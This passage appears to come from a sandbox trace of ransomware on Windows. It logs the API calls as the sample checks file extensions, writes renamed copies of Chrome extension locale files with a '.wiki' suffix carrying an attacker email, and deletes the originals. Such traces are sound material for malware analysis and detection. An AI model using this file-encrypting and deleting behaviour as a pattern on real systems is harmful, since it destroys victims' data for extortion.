Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl\\messages.json") returned 151 [0180.262] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl\\messages.json") returned 151 [0180.262] lstrlenW (lpString=".doc") returned 4 [0180.262] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0180.262] lstrlenW (lpString=".docx") returned 5 [0180.262] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0180.262] lstrlenW (lpString=".pdf") returned 4 [0180.262] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0180.262] lstrlenW (lpString=".xls") returned 4 [0180.263] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0180.263] lstrlenW (lpString=".xlsx") returned 5 [0180.263] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0180.263] lstrlenW (lpString=".ppt") returned 4 [0180.263] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0180.263] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl\\messages.json") returned 151 [0180.263] lstrlenW (lpString=".zip") returned 4 [0180.263] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0180.263] lstrlenW (lpString=".rar") returned 4 [0180.263] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0180.263] lstrlenW (lpString=".bz2") returned 4 [0180.263] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0180.263] lstrlenW (lpString=".7z") returned 3 [0180.263] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0180.263] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl\\messages.json") returned 151 [0180.263] lstrlenW (lpString=".dbf") returned 4 [0180.263] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0180.263] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl\\messages.json") returned 151 [0180.263] lstrlenW (lpString=".1cd") returned 4 [0180.263] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0180.263] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl\\messages.json") returned 151 [0180.263] lstrlenW (lpString=".jpg") returned 4 [0180.263] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0180.263] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl\\messages.json") returned 151 [0180.263] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl\\messages.json") returned 151 [0180.263] lstrlenW (lpString=".doc") returned 4 [0180.264] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0180.264] lstrlenW (lpString=".docx") returned 5 [0180.264] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0180.264] lstrlenW (lpString=".pdf") returned 4 [0180.264] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0180.264] lstrlenW (lpString=".xls") returned 4 [0180.264] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0180.264] lstrlenW (lpString=".xlsx") returned 5 [0180.264] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0180.264] lstrlenW (lpString=".ppt") returned 4 [0180.264] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0180.264] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl\\messages.json") returned 151 [0180.264] lstrlenW (lpString=".zip") returned 4 [0180.264] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0180.264] lstrlenW (lpString=".rar") returned 4 [0180.264] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0180.264] lstrlenW (lpString=".bz2") returned 4 [0180.264] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0180.264] lstrlenW (lpString=".7z") returned 3 [0180.264] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0180.264] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl\\messages.json") returned 151 [0180.264] lstrlenW (lpString=".dbf") returned 4 [0180.264] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0180.264] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl\\messages.json") returned 151 [0180.264] lstrlenW (lpString=".1cd") returned 4 [0180.264] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0180.264] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl\\messages.json") returned 151 [0180.264] lstrlenW (lpString=".jpg") returned 4 [0180.264] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0180.265] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0180.265] lstrlenW (lpString="messages.json") returned 13 [0180.265] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_br\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158 [0180.265] GetFileSizeEx (in: hFile=0x158, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=222) returned 1 [0180.265] CloseHandle (hObject=0x158) returned 1 [0180.265] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_br\\messages.json")) returned 0x2020 [0180.265] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_BR\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_br\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0180.266] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_br\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158 [0180.266] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.266] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.266] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_BR\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_br\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0180.266] GetLastError () returned 0x0 [0180.266] ReadFile (in: hFile=0x158, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0xde, lpOverlapped=0x0) returned 1 [0180.267] WriteFile (in: hFile=0x19c, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0180.268] ReadFile (in: hFile=0x158, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0180.268] WriteFile (in: hFile=0x19c, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xee, lpOverlapped=0x0) returned 1 [0180.268] SetEndOfFile (hFile=0x19c) returned 1 [0180.268] CloseHandle (hObject=0x19c) returned 1 [0180.268] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.268] SetEndOfFile (hFile=0x158) returned 1 [0180.269] CloseHandle (hObject=0x158) returned 1 [0180.269] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_BR\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0180.269] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_br\\messages.json")) returned 1 [0180.270] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_BR\\messages.json") returned 154 [0180.270] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_BR\\messages.json") returned 154 [0180.270] lstrlenW (lpString=".doc") returned 4 [0180.270] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0180.270] lstrlenW (lpString=".docx") returned 5 [0180.270] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0180.270] lstrlenW (lpString=".pdf") returned 4 [0180.270] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0180.270] lstrlenW (lpString=".xls") returned 4 [0180.270] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0180.270] lstrlenW (lpString=".xlsx") returned 5 [0180.270] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0180.270] lstrlenW (lpString=".ppt") returned 4 [0180.270] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0180.270] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_BR\\messages.json") returned 154 [0180.270] lstrlenW (lpString=".zip") returned 4 [0180.270] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0180.270] lstrlenW (lpString=".rar") returned 4 [0180.270] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0180.270] lstrlenW (lpString=".bz2") returned 4 [0180.270] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0180.270] lstrlenW (lpString=".7z") returned 3 [0180.270] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0180.270] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_BR\\messages.json") returned 154 [0180.270] lstrlenW (lpString=".dbf") returned 4 [0180.270] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0180.270] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_BR\\messages.json") returned 154 [0180.270] lstrlenW (lpString=".1cd") returned 4 [0180.271] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0180.271] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_BR\\messages.json") returned 154 [0180.271] lstrlenW (lpString=".jpg") returned 4 [0180.271] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0180.271] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_BR\\messages.json") returned 154 [0180.271] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_BR\\messages.json") returned 154 [0180.271] lstrlenW (lpString=".doc") returned 4 [0180.271] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0180.271] lstrlenW (lpString=".docx") returned 5 [0180.271] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0180.271] lstrlenW (lpString=".pdf") returned 4 [0180.271] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0180.271] lstrlenW (lpString=".xls") returned 4 [0180.271] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0180.271] lstrlenW (lpString=".xlsx") returned 5 [0180.271] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0180.271] lstrlenW (lpString=".ppt") returned 4 [0180.271] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0180.271] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_BR\\messages.json") returned 154 [0180.271] lstrlenW (lpString=".zip") returned 4 [0180.271] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0180.271] lstrlenW (lpString=".rar") returned 4 [0180.271] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0180.271] lstrlenW (lpString=".bz2") returned 4 [0180.271] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0180.271] lstrlenW (lpString=".7z") returned 3 [0180.271] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0180.271] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_BR\\messages.json") returned 154 [0180.272] lstrlenW (lpString=".dbf") returned 4 [0180.272] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0180.272] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_BR\\messages.json") returned 154 [0180.272] lstrlenW (lpString=".1cd") returned 4 [0180.272] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0180.272] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_BR\\messages.json") returned 154 [0180.272] lstrlenW (lpString=".jpg") returned 4 [0180.272] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0180.272] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0180.272] lstrlenW (lpString="messages.json") returned 13 [0180.272] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_pt\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158 [0180.272] GetFileSizeEx (in: hFile=0x158, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=223) returned 1 [0180.272] CloseHandle (hObject=0x158) returned 1 [0180.273] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_pt\\messages.json")) returned 0x2020 [0180.273] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_PT\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_pt\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0180.273] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_pt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158 [0180.273] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.273] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.273] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_PT\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_pt\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0180.273] GetLastError () returned 0x0 [0180.564] ReadFile (in: hFile=0x158, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0xdf, lpOverlapped=0x0) returned 1 [0180.565] WriteFile (in: hFile=0x19c, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0180.565] ReadFile (in: hFile=0x158, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0180.566] WriteFile (in: hFile=0x19c, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xee, lpOverlapped=0x0) returned 1 [0180.566] SetEndOfFile (hFile=0x19c) returned 1 [0180.566] CloseHandle (hObject=0x19c) returned 1 [0180.566] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.566] SetEndOfFile (hFile=0x158) returned 1 [0180.567] CloseHandle (hObject=0x158) returned 1 [0180.567] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_PT\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0180.567] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_pt\\messages.json")) returned 1 [0180.567] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_PT\\messages.json") returned 154 [0180.567] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_PT\\messages.json") returned 154 [0180.567] lstrlenW (lpString=".doc") returned 4 [0180.567] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0180.567] lstrlenW (lpString=".docx") returned 5 [0180.567] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0180.567] lstrlenW (lpString=".pdf") returned 4 [0180.567] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0180.567] lstrlenW (lpString=".xls") returned 4 [0180.567] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0180.567] lstrlenW (lpString=".xlsx") returned 5 [0180.567] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0180.568] lstrlenW (lpString=".ppt") returned 4 [0180.568] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0180.568] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_PT\\messages.json") returned 154 [0180.568] lstrlenW (lpString=".zip") returned 4 [0180.568] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0180.568] lstrlenW (lpString=".rar") returned 4 [0180.568] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0180.568] lstrlenW (lpString=".bz2") returned 4 [0180.568] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0180.568] lstrlenW (lpString=".7z") returned 3 [0180.568] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0180.568] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_PT\\messages.json") returned 154 [0180.568] lstrlenW (lpString=".dbf") returned 4 [0180.568] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0180.568] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_PT\\messages.json") returned 154 [0180.568] lstrlenW (lpString=".1cd") returned 4 [0180.568] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0180.568] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_PT\\messages.json") returned 154 [0180.568] lstrlenW (lpString=".jpg") returned 4 [0180.568] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0180.568] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_PT\\messages.json") returned 154 [0180.568] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_PT\\messages.json") returned 154 [0180.568] lstrlenW (lpString=".doc") returned 4 [0180.568] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0180.568] lstrlenW (lpString=".docx") returned 5 [0180.568] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0180.568] lstrlenW (lpString=".pdf") returned 4 [0180.568] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0180.568] lstrlenW (lpString=".xls") returned 4 [0180.568] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0180.568] lstrlenW (lpString=".xlsx") returned 5 [0180.569] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0180.569] lstrlenW (lpString=".ppt") returned 4 [0180.569] 